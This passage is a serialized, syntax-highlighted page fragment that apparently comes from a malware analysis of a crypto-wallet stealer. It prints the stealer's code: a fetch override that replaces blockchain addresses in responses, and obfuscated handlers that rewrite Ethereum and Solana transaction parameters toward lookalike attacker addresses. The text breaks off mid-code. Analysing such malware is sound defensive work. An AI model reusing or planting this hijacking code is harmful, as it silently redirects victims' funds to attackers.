_0x124ed3",{"type":24,"tag":158,"props":98646,"children":98647},{"style":222},[98648],{"type":29,"value":462},{"type":24,"tag":158,"props":98650,"children":98651},{"style":1914},[98652],{"type":29,"value":37475},{"type":24,"tag":158,"props":98654,"children":98655},{"style":177},[98656],{"type":29,"value":32669},{"type":24,"tag":158,"props":98658,"children":98659},{"style":188},[98660],{"type":29,"value":347},{"type":24,"tag":158,"props":98662,"children":98663},{"style":177},[98664],{"type":29,"value":32678},{"type":24,"tag":158,"props":98666,"children":98667},{"style":188},[98668],{"type":29,"value":347},{"type":24,"tag":158,"props":98670,"children":98671},{"style":496},[98672],{"type":29,"value":32754},{"type":24,"tag":158,"props":98674,"children":98675},{"style":188},[98676],{"type":29,"value":16375},{"type":24,"tag":158,"props":98678,"children":98679},{"class":160,"line":259},[98680,98685,98689],{"type":24,"tag":158,"props":98681,"children":98682},{"style":1108},[98683],{"type":29,"value":98684}," 'method'",{"type":24,"tag":158,"props":98686,"children":98687},{"style":177},[98688],{"type":29,"value":225},{"type":24,"tag":158,"props":98690,"children":98691},{"style":1108},[98692],{"type":29,"value":98693}," \"eth_accounts\"\n",{"type":24,"tag":158,"props":98695,"children":98696},{"class":160,"line":280},[98697],{"type":24,"tag":158,"props":98698,"children":98699},{"style":188},[98700],{"type":29,"value":33518},{"type":24,"tag":158,"props":98702,"children":98703},{"class":160,"line":301},[98704,98708,98712,98717,98721,98725,98729,98733],{"type":24,"tag":158,"props":98705,"children":98706},{"style":1914},[98707],{"type":29,"value":3160},{"type":24,"tag":158,"props":98709,"children":98710},{"style":188},[98711],{"type":29,"value":2262},{"type":24,"tag":158,"props":98713,"children":98714},{"style":177},[98715],{"type":29,"value":98716},"_0x124ed3",{"type":24,"tag":158,"props":98718,"children":98719},{"style":188},[98720],{"type":29,"value":347},{"type":24,"tag":158,"props":98722,"children":98723},{"style":177},[98724],{"type":29,"value":10114},{"type":24,"tag":158,"props":98726,"children":98727},{"style":222},[98728],{"type":29,"value":15428},{"type":24,"tag":158,"props":98730,"children":98731},{"style":465},[98732],{"type":29,"value":2025},{"type":24,"tag":158,"props":98734,"children":98735},{"style":188},[98736],{"type":29,"value":16038},{"type":24,"tag":158,"props":98738,"children":98739},{"class":160,"line":626},[98740,98745],{"type":24,"tag":158,"props":98741,"children":98742},{"style":496},[98743],{"type":29,"value":98744}," runmask",{"type":24,"tag":158,"props":98746,"children":98747},{"style":188},[98748],{"type":29,"value":5329},{"type":24,"tag":158,"props":98750,"children":98751},{"class":160,"line":668},[98752,98756,98760,98765,98769,98773],{"type":24,"tag":158,"props":98753,"children":98754},{"style":1914},[98755],{"type":29,"value":40551},{"type":24,"tag":158,"props":98757,"children":98758},{"style":188},[98759],{"type":29,"value":2262},{"type":24,"tag":158,"props":98761,"children":98762},{"style":177},[98763],{"type":29,"value":98764},"rund",{"type":24,"tag":158,"props":98766,"children":98767},{"style":222},[98768],{"type":29,"value":65661},{"type":24,"tag":158,"props":98770,"children":98771},{"style":465},[98772],{"type":29,"value":1668},{"type":24,"tag":158,"props":98774,"children":98775},{"style":188},[98776],{"type":29,"value":16038},{"type":24,"tag":158,"props":98778,"children":98779},{"class":160,"line":676},[98780,98785,98789,98793],{"type":24,"tag":158,"props":98781,"children":98782},{"style":177},[98783],{"type":29,"value":98784}," rund",{"type":24,"tag":158,"props":98786,"children":98787},{"style":222},[98788],{"type":29,"value":462},{"type":24,"tag":158,"props":98790,"children":98791},{"style":465},[98792],{"type":29,"value":1668},{"type":24,"tag":158,"props":98794,"children":98795},{"style":188},[98796],{"type":29,"value":473},{"type":24,"tag":158,"props":98798,"children":98799},{"class":160,"line":684},[98800,98805,98809,98813],{"type":24,"tag":158,"props":98801,"children":98802},{"style":177},[98803],{"type":29,"value":98804}," neth",{"type":24,"tag":158,"props":98806,"children":98807},{"style":222},[98808],{"type":29,"value":462},{"type":24,"tag":158,"props":98810,"children":98811},{"style":465},[98812],{"type":29,"value":1668},{"type":24,"tag":158,"props":98814,"children":98815},{"style":188},[98816],{"type":29,"value":473},{"type":24,"tag":158,"props":98818,"children":98819},{"class":160,"line":700},[98820,98825],{"type":24,"tag":158,"props":98821,"children":98822},{"style":496},[98823],{"type":29,"value":98824}," newdlocal",{"type":24,"tag":158,"props":98826,"children":98827},{"style":188},[98828],{"type":29,"value":5329},{"type":24,"tag":158,"props":98830,"children":98831},{"class":160,"line":785},[98832],{"type":24,"tag":158,"props":98833,"children":98834},{"style":188},[98835],{"type":29,"value":3549},{"type":24,"tag":158,"props":98837,"children":98838},{"class":160,"line":1447},[98839,98843,98847,98851,98855,98859,98863,98867],{"type":24,"tag":158,"props":98840,"children":98841},{"style":188},[98842],{"type":29,"value":17015},{"type":24,"tag":158,"props":98844,"children":98845},{"style":1914},[98846],{"type":29,"value":4978},{"type":24,"tag":158,"props":98848,"children":98849},{"style":1914},[98850],{"type":29,"value":17024},{"type":24,"tag":158,"props":98852,"children":98853},{"style":188},[98854],{"type":29,"value":2262},{"type":24,"tag":158,"props":98856,"children":98857},{"style":177},[98858],{"type":29,"value":98764},{"type":24,"tag":158,"props":98860,"children":98861},{"style":222},[98862],{"type":29,"value":65661},{"type":24,"tag":158,"props":98864,"children":98865},{"style":465},[98866],{"type":29,"value":1668},{"type":24,"tag":158,"props":98868,"children":98869},{"style":188},[98870],{"type":29,"value":16038},{"type":24,"tag":158,"props":98872,"children":98873},{"class":160,"line":1509},[98874,98879,98883,98887],{"type":24,"tag":158,"props":98875,"children":98876},{"style":177},[98877],{"type":29,"value":98878}," rund",{"type":24,"tag":158,"props":98880,"children":98881},{"style":222},[98882],{"type":29,"value":462},{"type":24,"tag":158,"props":98884,"children":98885},{"style":465},[98886],{"type":29,"value":1668},{"type":24,"tag":158,"props":98888,"children":98889},{"style":188},[98890],{"type":29,"value":473},{"type":24,"tag":158,"props":98892,"children":98893},{"class":160,"line":1527},[98894,98899],{"type":24,"tag":158,"props":98895,"children":98896},{"style":496},[98897],{"type":29,"value":98898}," newdlocal",{"type":24,"tag":158,"props":98900,"children":98901},{"style":188},[98902],{"type":29,"value":5329},{"type":24,"tag":158,"props":98904,"children":98905},{"class":160,"line":1545},[98906],{"type":24,"tag":158,"props":98907,"children":98908},{"style":188},[98909],{"type":29,"value":3967},{"type":24,"tag":158,"props":98911,"children":98912},{"class":160,"line":1618},[98913],{"type":24,"tag":158,"props":98914,"children":98915},{"style":188},[98916],{"type":29,"value":4366},{"type":24,"tag":158,"props":98918,"children":98919},{"class":160,"line":1635},[98920],{"type":24,"tag":158,"props":98921,"children":98922},{"style":188},[98923],{"type":29,"value":307},{"type":24,"tag":1786,"props":98925,"children":98926},{"start":213},[98927],{"type":24,"tag":1790,"props":98928,"children":98929},{},[98930],{"type":29,"value":98931},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":24,"tag":147,"props":98933,"children":98935},{"code":98934,"language":32626,"meta":7,"className":32624,"style":7},"fetch = async function (...args) {\n const originalResponse = await originalFetch.call(this, ...args);\n const contentType = originalResponse.headers.get('Content-Type') || '';\n let data;\n if (contentType.includes('application/json')) {\n data = await originalResponse.clone().json();\n } else {\n data = await originalResponse.clone().text();\n }\n const processedData = replaceAddresses(data);\n const finalResponseText =\n typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n const finalResponse = new Response(finalResponseText, {\n status: originalResponse.status,\n statusText: originalResponse.statusText,\n headers: originalResponse.headers,\n });\n return finalResponse;\n};\n",[98936],{"type":24,"tag":154,"props":98937,"children":98938},{"__ignoreMap":7},[98939,98974,99031,99093,99108,99145,99184,99199,99238,99245,99278,99294,99353,99391,99416,99441,99465,99473,99488],{"type":24,"tag":158,"props":98940,"children":98941},{"class":160,"line":161},[98942,98946,98950,98954,98958,98962,98966,98970],{"type":24,"tag":158,"props":98943,"children":98944},{"style":496},[98945],{"type":29,"value":35357},{"type":24,"tag":158,"props":98947,"children":98948},{"style":222},[98949],{"type":29,"value":462},{"type":24,"tag":158,"props":98951,"children":98952},{"style":165},[98953],{"type":29,"value":37629},{"type":24,"tag":158,"props":98955,"children":98956},{"style":165},[98957],{"type":29,"value":39478},{"type":24,"tag":158,"props":98959,"children":98960},{"style":188},[98961],{"type":29,"value":2262},{"type":24,"tag":158,"props":98963,"children":98964},{"style":222},[98965],{"type":29,"value":377},{"type":24,"tag":158,"props":98967,"children":98968},{"style":177},[98969],{"type":29,"value":39492},{"type":24,"tag":158,"props":98971,"children":98972},{"style":188},[98973],{"type":29,"value":16038},{"type":24,"tag":158,"props":98975,"children":98976},{"class":160,"line":213},[98977,98981,98986,98990,98994,98999,99003,99007,99011,99015,99019,99023,99027],{"type":24,"tag":158,"props":98978,"children":98979},{"style":165},[98980],{"type":29,"value":37452},{"type":24,"tag":158,"props":98982,"children":98983},{"style":177},[98984],{"type":29,"value":98985}," originalResponse",{"type":24,"tag":158,"props":98987,"children":98988},{"style":222},[98989],{"type":29,"value":462},{"type":24,"tag":158,"props":98991,"children":98992},{"style":1914},[98993],{"type":29,"value":37475},{"type":24,"tag":158,"props":98995,"children":98996},{"style":177},[98997],{"type":29,"value":98998}," originalFetch",{"type":24,"tag":158,"props":99000,"children":99001},{"style":188},[99002],{"type":29,"value":347},{"type":24,"tag":158,"props":99004,"children":99005},{"style":496},[99006],{"type":29,"value":39560},{"type":24,"tag":158,"props":99008,"children":99009},{"style":188},[99010],{"type":29,"value":504},{"type":24,"tag":158,"props":99012,"children":99013},{"style":165},[99014],{"type":29,"value":18932},{"type":24,"tag":158,"props":99016,"children":99017},{"style":188},[99018],{"type":29,"value":191},{"type":24,"tag":158,"props":99020,"children":99021},{"style":222},[99022],{"type":29,"value":377},{"type":24,"tag":158,"props":99024,"children":99025},{"style":177},[99026],{"type":29,"value":39492},{"type":24,"tag":158,"props":99028,"children":99029},{"style":188},[99030],{"type":29,"value":1071},{"type":24,"tag":158,"props":99032,"children":99033},{"class":160,"line":238},[99034,99038,99043,99047,99051,99055,99060,99064,99068,99072,99077,99081,99085,99089],{"type":24,"tag":158,"props":99035,"children":99036},{"style":165},[99037],{"type":29,"value":37452},{"type":24,"tag":158,"props":99039,"children":99040},{"style":177},[99041],{"type":29,"value":99042}," contentType",{"type":24,"tag":158,"props":99044,"children":99045},{"style":222},[99046],{"type":29,"value":462},{"type":24,"tag":158,"props":99048,"children":99049},{"style":177},[99050],{"type":29,"value":98985},{"type":24,"tag":158,"props":99052,"children":99053},{"style":188},[99054],{"type":29,"value":347},{"type":24,"tag":158,"props":99056,"children":99057},{"style":177},[99058],{"type":29,"value":99059},"headers",{"type":24,"tag":158,"props":99061,"children":99062},{"style":188},[99063],{"type":29,"value":347},{"type":24,"tag":158,"props":99065,"children":99066},{"style":496},[99067],{"type":29,"value":17588},{"type":24,"tag":158,"props":99069,"children":99070},{"style":188},[99071],{"type":29,"value":504},{"type":24,"tag":158,"props":99073,"children":99074},{"style":1108},[99075],{"type":29,"value":99076},"'Content-Type'",{"type":24,"tag":158,"props":99078,"children":99079},{"style":188},[99080],{"type":29,"value":723},{"type":24,"tag":158,"props":99082,"children":99083},{"style":222},[99084],{"type":29,"value":23663},{"type":24,"tag":158,"props":99086,"children":99087},{"style":1108},[99088],{"type":29,"value":33100},{"type":24,"tag":158,"props":99090,"children":99091},{"style":188},[99092],{"type":29,"value":473},{"type":24,"tag":158,"props":99094,"children":99095},{"class":160,"line":259},[99096,99100,99104],{"type":24,"tag":158,"props":99097,"children":99098},{"style":165},[99099],{"type":29,"value":9496},{"type":24,"tag":158,"props":99101,"children":99102},{"style":177},[99103],{"type":29,"value":16339},{"type":24,"tag":158,"props":99105,"children":99106},{"style":188},[99107],{"type":29,"value":473},{"type":24,"tag":158,"props":99109,"children":99110},{"class":160,"line":280},[99111,99115,99119,99124,99128,99132,99136,99141],{"type":24,"tag":158,"props":99112,"children":99113},{"style":1914},[99114],{"type":29,"value":32655},{"type":24,"tag":158,"props":99116,"children":99117},{"style":188},[99118],{"type":29,"value":2262},{"type":24,"tag":158,"props":99120,"children":99121},{"style":177},[99122],{"type":29,"value":99123},"contentType",{"type":24,"tag":158,"props":99125,"children":99126},{"style":188},[99127],{"type":29,"value":347},{"type":24,"tag":158,"props":99129,"children":99130},{"style":496},[99131],{"type":29,"value":36444},{"type":24,"tag":158,"props":99133,"children":99134},{"style":188},[99135],{"type":29,"value":504},{"type":24,"tag":158,"props":99137,"children":99138},{"style":1108},[99139],{"type":29,"value":99140},"'application/json'",{"type":24,"tag":158,"props":99142,"children":99143},{"style":188},[99144],{"type":29,"value":36457},{"type":24,"tag":158,"props":99146,"children":99147},{"class":160,"line":301},[99148,99152,99156,99160,99164,99168,99172,99176,99180],{"type":24,"tag":158,"props":99149,"children":99150},{"style":177},[99151],{"type":29,"value":44498},{"type":24,"tag":158,"props":99153,"children":99154},{"style":222},[99155],{"type":29,"value":462},{"type":24,"tag":158,"props":99157,"children":99158},{"style":1914},[99159],{"type":29,"value":37475},{"type":24,"tag":158,"props":99161,"children":99162},{"style":177},[99163],{"type":29,"value":98985},{"type":24,"tag":158,"props":99165,"children":99166},{"style":188},[99167],{"type":29,"value":347},{"type":24,"tag":158,"props":99169,"children":99170},{"style":496},[99171],{"type":29,"value":16655},{"type":24,"tag":158,"props":99173,"children":99174},{"style":188},[99175],{"type":29,"value":31428},{"type":24,"tag":158,"props":99177,"children":99178},{"style":496},[99179],{"type":29,"value":35260},{"type":24,"tag":158,"props":99181,"children":99182},{"style":188},[99183],{"type":29,"value":5329},{"type":24,"tag":158,"props":99185,"children":99186},{"class":160,"line":626},[99187,99191,99195],{"type":24,"tag":158,"props":99188,"children":99189},{"style":188},[99190],{"type":29,"value":32729},{"type":24,"tag":158,"props":99192,"children":99193},{"style":1914},[99194],{"type":29,"value":4978},{"type":24,"tag":158,"props":99196,"children":99197},{"style":188},[99198],{"type":29,"value":210},{"type":24,"tag":158,"props":99200,"children":99201},{"class":160,"line":668},[99202,99206,99210,99214,99218,99222,99226,99230,99234],{"type":24,"tag":158,"props":99203,"children":99204},{"style":177},[99205],{"type":29,"value":44498},{"type":24,"tag":158,"props":99207,"children":99208},{"style":222},[99209],{"type":29,"value":462},{"type":24,"tag":158,"props":99211,"children":99212},{"style":1914},[99213],{"type":29,"value":37475},{"type":24,"tag":158,"props":99215,"children":99216},{"style":177},[99217],{"type":29,"value":98985},{"type":24,"tag":158,"props":99219,"children":99220},{"style":188},[99221],{"type":29,"value":347},{"type":24,"tag":158,"props":99223,"children":99224},{"style":496},[99225],{"type":29,"value":16655},{"type":24,"tag":158,"props":99227,"children":99228},{"style":188},[99229],{"type":29,"value":31428},{"type":24,"tag":158,"props":99231,"children":99232},{"style":496},[99233],{"type":29,"value":29},{"type":24,"tag":158,"props":99235,"children":99236},{"style":188},[99237],{"type":29,"value":5329},{"type":24,"tag":158,"props":99239,"children":99240},{"class":160,"line":676},[99241],{"type":24,"tag":158,"props":99242,"children":99243},{"style":188},[99244],{"type":29,"value":4366},{"type":24,"tag":158,"props":99246,"children":99247},{"class":160,"line":684},[99248,99252,99257,99261,99266,99270,99274],{"type":24,"tag":158,"props":99249,"children":99250},{"style":165},[99251],{"type":29,"value":37452},{"type":24,"tag":158,"props":99253,"children":99254},{"style":177},[99255],{"type":29,"value":99256}," processedData",{"type":24,"tag":158,"props":99258,"children":99259},{"style":222},[99260],{"type":29,"value":462},{"type":24,"tag":158,"props":99262,"children":99263},{"style":496},[99264],{"type":29,"value":99265}," replaceAddresses",{"type":24,"tag":158,"props":99267,"children":99268},{"style":188},[99269],{"type":29,"value":504},{"type":24,"tag":158,"props":99271,"children":99272},{"style":177},[99273],{"type":29,"value":5361},{"type":24,"tag":158,"props":99275,"children":99276},{"style":188},[99277],{"type":29,"value":1071},{"type":24,"tag":158,"props":99279,"children":99280},{"class":160,"line":700},[99281,99285,99290],{"type":24,"tag":158,"props":99282,"children":99283},{"style":165},[99284],{"type":29,"value":37452},{"type":24,"tag":158,"props":99286,"children":99287},{"style":177},[99288],{"type":29,"value":99289}," finalResponseText",{"type":24,"tag":158,"props":99291,"children":99292},{"style":222},[99293],{"type":29,"value":37119},{"type":24,"tag":158,"props":99295,"children":99296},{"class":160,"line":785},[99297,99302,99306,99310,99315,99320,99324,99328,99332,99336,99340,99344,99349],{"type":24,"tag":158,"props":99298,"children":99299},{"style":165},[99300],{"type":29,"value":99301}," typeof",{"type":24,"tag":158,"props":99303,"children":99304},{"style":177},[99305],{"type":29,"value":99256},{"type":24,"tag":158,"props":99307,"children":99308},{"style":222},[99309],{"type":29,"value":32683},{"type":24,"tag":158,"props":99311,"children":99312},{"style":1108},[99313],{"type":29,"value":99314}," 'string'",{"type":24,"tag":158,"props":99316,"children":99317},{"style":222},[99318],{"type":29,"value":99319}," ?",{"type":24,"tag":158,"props":99321,"children":99322},{"style":177},[99323],{"type":29,"value":99256},{"type":24,"tag":158,"props":99325,"children":99326},{"style":222},[99327],{"type":29,"value":36379},{"type":24,"tag":158,"props":99329,"children":99330},{"style":177},[99331],{"type":29,"value":38792},{"type":24,"tag":158,"props":99333,"children":99334},{"style":188},[99335],{"type":29,"value":347},{"type":24,"tag":158,"props":99337,"children":99338},{"style":496},[99339],{"type":29,"value":40497},{"type":24,"tag":158,"props":99341,"children":99342},{"style":188},[99343],{"type":29,"value":504},{"type":24,"tag":158,"props":99345,"children":99346},{"style":177},[99347],{"type":29,"value":99348},"processedData",{"type":24,"tag":158,"props":99350,"children":99351},{"style":188},[99352],{"type":29,"value":1071},{"type":24,"tag":158,"props":99354,"children":99355},{"class":160,"line":1447},[99356,99360,99365,99369,99373,99378,99382,99387],{"type":24,"tag":158,"props":99357,"children":99358},{"style":165},[99359],{"type":29,"value":37452},{"type":24,"tag":158,"props":99361,"children":99362},{"style":177},[99363],{"type":29,"value":99364}," finalResponse",{"type":24,"tag":158,"props":99366,"children":99367},{"style":222},[99368],{"type":29,"value":462},{"type":24,"tag":158,"props":99370,"children":99371},{"style":165},[99372],{"type":29,"value":33194},{"type":24,"tag":158,"props":99374,"children":99375},{"style":496},[99376],{"type":29,"value":99377}," Response",{"type":24,"tag":158,"props":99379,"children":99380},{"style":188},[99381],{"type":29,"value":504},{"type":24,"tag":158,"props":99383,"children":99384},{"style":177},[99385],{"type":29,"value":99386},"finalResponseText",{"type":24,"tag":158,"props":99388,"children":99389},{"style":188},[99390],{"type":29,"value":50153},{"type":24,"tag":158,"props":99392,"children":99393},{"class":160,"line":1509},[99394,99399,99403,99407,99412],{"type":24,"tag":158,"props":99395,"children":99396},{"style":177},[99397],{"type":29,"value":99398}," status:",{"type":24,"tag":158,"props":99400,"children":99401},{"style":177},[99402],{"type":29,"value":98985},{"type":24,"tag":158,"props":99404,"children":99405},{"style":188},[99406],{"type":29,"value":347},{"type":24,"tag":158,"props":99408,"children":99409},{"style":177},[99410],{"type":29,"value":99411},"status",{"type":24,"tag":158,"props":99413,"children":99414},{"style":188},[99415],{"type":29,"value":235},{"type":24,"tag":158,"props":99417,"children":99418},{"class":160,"line":1527},[99419,99424,99428,99432,99437],{"type":24,"tag":158,"props":99420,"children":99421},{"style":177},[99422],{"type":29,"value":99423}," statusText:",{"type":24,"tag":158,"props":99425,"children":99426},{"style":177},[99427],{"type":29,"value":98985},{"type":24,"tag":158,"props":99429,"children":99430},{"style":188},[99431],{"type":29,"value":347},{"type":24,"tag":158,"props":99433,"children":99434},{"style":177},[99435],{"type":29,"value":99436},"statusText",{"type":24,"tag":158,"props":99438,"children":99439},{"style":188},[99440],{"type":29,"value":235},{"type":24,"tag":158,"props":99442,"children":99443},{"class":160,"line":1545},[99444,99449,99453,99457,99461],{"type":24,"tag":158,"props":99445,"children":99446},{"style":177},[99447],{"type":29,"value":99448}," headers:",{"type":24,"tag":158,"props":99450,"children":99451},{"style":177},[99452],{"type":29,"value":98985},{"type":24,"tag":158,"props":99454,"children":99455},{"style":188},[99456],{"type":29,"value":347},{"type":24,"tag":158,"props":99458,"children":99459},{"style":177},[99460],{"type":29,"value":99059},{"type":24,"tag":158,"props":99462,"children":99463},{"style":188},[99464],{"type":29,"value":235},{"type":24,"tag":158,"props":99466,"children":99467},{"class":160,"line":1618},[99468],{"type":24,"tag":158,"props":99469,"children":99470},{"style":188},[99471],{"type":29,"value":99472}," });\n",{"type":24,"tag":158,"props":99474,"children":99475},{"class":160,"line":1635},[99476,99480,99484],{"type":24,"tag":158,"props":99477,"children":99478},{"style":1914},[99479],{"type":29,"value":40463},{"type":24,"tag":158,"props":99481,"children":99482},{"style":177},[99483],{"type":29,"value":99364},{"type":24,"tag":158,"props":99485,"children":99486},{"style":188},[99487],{"type":29,"value":473},{"type":24,"tag":158,"props":99489,"children":99490},{"class":160,"line":1644},[99491],{"type":24,"tag":158,"props":99492,"children":99493},{"style":188},[99494],{"type":29,"value":17814},{"type":24,"tag":1786,"props":99496,"children":99497},{"start":238},[99498],{"type":24,"tag":1790,"props":99499,"children":99500},{},[99501],{"type":29,"value":99502},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":24,"tag":147,"props":99504,"children":99506},{"code":99505,"language":32626,"meta":7,"className":32624,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n try {\n const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n _0x2c3d7e.params[0] = _0x39ad21;\n } catch (_0x226343) {}\n} else {\n if (\n (_0x2c3d7e.method === 'solana_signTransaction' ||\n _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n _0x2c3d7e.params &&\n _0x2c3d7e.params[0]\n ) {\n try {\n let _0x5ad975 = _0x2c3d7e.params[0];\n if (_0x5ad975.transaction) {\n _0x5ad975 = _0x5ad975.transaction;\n }\n const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n if (_0x2c3d7e.params[0].transaction) {\n _0x2c3d7e.params[0].transaction = _0x5dbe63;\n } else {\n _0x2c3d7e.params[0] = _0x5dbe63;\n }\n } catch (_0x4b99fd) {}\n }\n}\n",[99507],{"type":24,"tag":154,"props":99508,"children":99509},{"__ignoreMap":7},[99510,99589,99600,99657,99697,99722,99737,99748,99782,99815,99834,99861,99869,99880,99920,99949,99977,99984,100024,100067,100111,100126,100165,100172,100196,100203],{"type":24,"tag":158,"props":99511,"children":99512},{"class":160,"line":161},[99513,99517,99521,99526,99530,99534,99538,99543,99547,99552,99556,99561,99565,99569,99573,99577,99581,99585],{"type":24,"tag":158,"props":99514,"children":99515},{"style":1914},[99516],{"type":29,"value":16815},{"type":24,"tag":158,"props":99518,"children":99519},{"style":188},[99520],{"type":29,"value":2262},{"type":24,"tag":158,"props":99522,"children":99523},{"style":177},[99524],{"type":29,"value":99525},"_0x2c3d7e",{"type":24,"tag":158,"props":99527,"children":99528},{"style":188},[99529],{"type":29,"value":347},{"type":24,"tag":158,"props":99531,"children":99532},{"style":177},[99533],{"type":29,"value":39577},{"type":24,"tag":158,"props":99535,"children":99536},{"style":222},[99537],{"type":29,"value":32683},{"type":24,"tag":158,"props":99539,"children":99540},{"style":1108},[99541],{"type":29,"value":99542}," 'eth_sendTransaction'",{"type":24,"tag":158,"props":99544,"children":99545},{"style":222},[99546],{"type":29,"value":15419},{"type":24,"tag":158,"props":99548,"children":99549},{"style":177},[99550],{"type":29,"value":99551}," _0x2c3d7e",{"type":24,"tag":158,"props":99553,"children":99554},{"style":188},[99555],{"type":29,"value":347},{"type":24,"tag":158,"props":99557,"children":99558},{"style":177},[99559],{"type":29,"value":99560},"params",{"type":24,"tag":158,"props":99562,"children":99563},{"style":222},[99564],{"type":29,"value":15419},{"type":24,"tag":158,"props":99566,"children":99567},{"style":177},[99568],{"type":29,"value":99551},{"type":24,"tag":158,"props":99570,"children":99571},{"style":188},[99572],{"type":29,"value":347},{"type":24,"tag":158,"props":99574,"children":99575},{"style":177},[99576],{"type":29,"value":99560},{"type":24,"tag":158,"props":99578,"children":99579},{"style":188},[99580],{"type":29,"value":2048},{"type":24,"tag":158,"props":99582,"children":99583},{"style":465},[99584],{"type":29,"value":5682},{"type":24,"tag":158,"props":99586,"children":99587},{"style":188},[99588],{"type":29,"value":41889},{"type":24,"tag":158,"props":99590,"children":99591},{"class":160,"line":213},[99592,99596],{"type":24,"tag":158,"props":99593,"children":99594},{"style":1914},[99595],{"type":29,"value":98628},{"type":24,"tag":158,"props":99597,"children":99598},{"style":188},[99599],{"type":29,"value":210},{"type":24,"tag":158,"props":99601,"children":99602},{"class":160,"line":238},[99603,99607,99612,99616,99621,99625,99629,99633,99637,99641,99645,99649,99653],{"type":24,"tag":158,"props":99604,"children":99605},{"style":165},[99606],{"type":29,"value":52940},{"type":24,"tag":158,"props":99608,"children":99609},{"style":177},[99610],{"type":29,"value":99611}," _0x39ad21",{"type":24,"tag":158,"props":99613,"children":99614},{"style":222},[99615],{"type":29,"value":462},{"type":24,"tag":158,"props":99617,"children":99618},{"style":496},[99619],{"type":29,"value":99620}," _0x1089ae",{"type":24,"tag":158,"props":99622,"children":99623},{"style":188},[99624],{"type":29,"value":504},{"type":24,"tag":158,"props":99626,"children":99627},{"style":177},[99628],{"type":29,"value":99525},{"type":24,"tag":158,"props":99630,"children":99631},{"style":188},[99632],{"type":29,"value":347},{"type":24,"tag":158,"props":99634,"children":99635},{"style":177},[99636],{"type":29,"value":99560},{"type":24,"tag":158,"props":99638,"children":99639},{"style":188},[99640],{"type":29,"value":2048},{"type":24,"tag":158,"props":99642,"children":99643},{"style":465},[99644],{"type":29,"value":5682},{"type":24,"tag":158,"props":99646,"children":99647},{"style":188},[99648],{"type":29,"value":24305},{"type":24,"tag":158,"props":99650,"children":99651},{"style":165},[99652],{"type":29,"value":3185},{"type":24,"tag":158,"props":99654,"children":99655},{"style":188},[99656],{"type":29,"value":1071},{"type":24,"tag":158,"props":99658,"children":99659},{"class":160,"line":259},[99660,99665,99669,99673,99677,99681,99685,99689,99693],{"type":24,"tag":158,"props":99661,"children":99662},{"style":177},[99663],{"type":29,"value":99664}," _0x2c3d7e",{"type":24,"tag":158,"props":99666,"children":99667},{"style":188},[99668],{"type":29,"value":347},{"type":24,"tag":158,"props":99670,"children":99671},{"style":177},[99672],{"type":29,"value":99560},{"type":24,"tag":158,"props":99674,"children":99675},{"style":188},[99676],{"type":29,"value":2048},{"type":24,"tag":158,"props":99678,"children":99679},{"style":465},[99680],{"type":29,"value":5682},{"type":24,"tag":158,"props":99682,"children":99683},{"style":188},[99684],{"type":29,"value":2058},{"type":24,"tag":158,"props":99686,"children":99687},{"style":222},[99688],{"type":29,"value":1285},{"type":24,"tag":158,"props":99690,"children":99691},{"style":177},[99692],{"type":29,"value":99611},{"type":24,"tag":158,"props":99694,"children":99695},{"style":188},[99696],{"type":29,"value":473},{"type":24,"tag":158,"props":99698,"children":99699},{"class":160,"line":280},[99700,99704,99708,99712,99717],{"type":24,"tag":158,"props":99701,"children":99702},{"style":188},[99703],{"type":29,"value":32729},{"type":24,"tag":158,"props":99705,"children":99706},{"style":1914},[99707],{"type":29,"value":49682},{"type":24,"tag":158,"props":99709,"children":99710},{"style":188},[99711],{"type":29,"value":2262},{"type":24,"tag":158,"props":99713,"children":99714},{"style":177},[99715],{"type":29,"value":99716},"_0x226343",{"type":24,"tag":158,"props":99718,"children":99719},{"style":188},[99720],{"type":29,"value":99721},") {}\n",{"type":24,"tag":158,"props":99723,"children":99724},{"class":160,"line":301},[99725,99729,99733],{"type":24,"tag":158,"props":99726,"children":99727},{"style":188},[99728],{"type":29,"value":48144},{"type":24,"tag":158,"props":99730,"children":99731},{"style":1914},[99732],{"type":29,"value":4978},{"type":24,"tag":158,"props":99734,"children":99735},{"style":188},[99736],{"type":29,"value":210},{"type":24,"tag":158,"props":99738,"children":99739},{"class":160,"line":626},[99740,99744],{"type":24,"tag":158,"props":99741,"children":99742},{"style":1914},[99743],{"type":29,"value":32655},{"type":24,"tag":158,"props":99745,"children":99746},{"style":188},[99747],{"type":29,"value":79844},{"type":24,"tag":158,"props":99749,"children":99750},{"class":160,"line":668},[99751,99756,99760,99764,99768,99772,99777],{"type":24,"tag":158,"props":99752,"children":99753},{"style":188},[99754],{"type":29,"value":99755}," (",{"type":24,"tag":158,"props":99757,"children":99758},{"style":177},[99759],{"type":29,"value":99525},{"type":24,"tag":158,"props":99761,"children":99762},{"style":188},[99763],{"type":29,"value":347},{"type":24,"tag":158,"props":99765,"children":99766},{"style":177},[99767],{"type":29,"value":39577},{"type":24,"tag":158,"props":99769,"children":99770},{"style":222},[99771],{"type":29,"value":32683},{"type":24,"tag":158,"props":99773,"children":99774},{"style":1108},[99775],{"type":29,"value":99776}," 'solana_signTransaction'",{"type":24,"tag":158,"props":99778,"children":99779},{"style":222},[99780],{"type":29,"value":99781}," ||\n",{"type":24,"tag":158,"props":99783,"children":99784},{"class":160,"line":676},[99785,99790,99794,99798,99802,99807,99811],{"type":24,"tag":158,"props":99786,"children":99787},{"style":177},[99788],{"type":29,"value":99789}," _0x2c3d7e",{"type":24,"tag":158,"props":99791,"children":99792},{"style":188},[99793],{"type":29,"value":347},{"type":24,"tag":158,"props":99795,"children":99796},{"style":177},[99797],{"type":29,"value":39577},{"type":24,"tag":158,"props":99799,"children":99800},{"style":222},[99801],{"type":29,"value":32683},{"type":24,"tag":158,"props":99803,"children":99804},{"style":1108},[99805],{"type":29,"value":99806}," 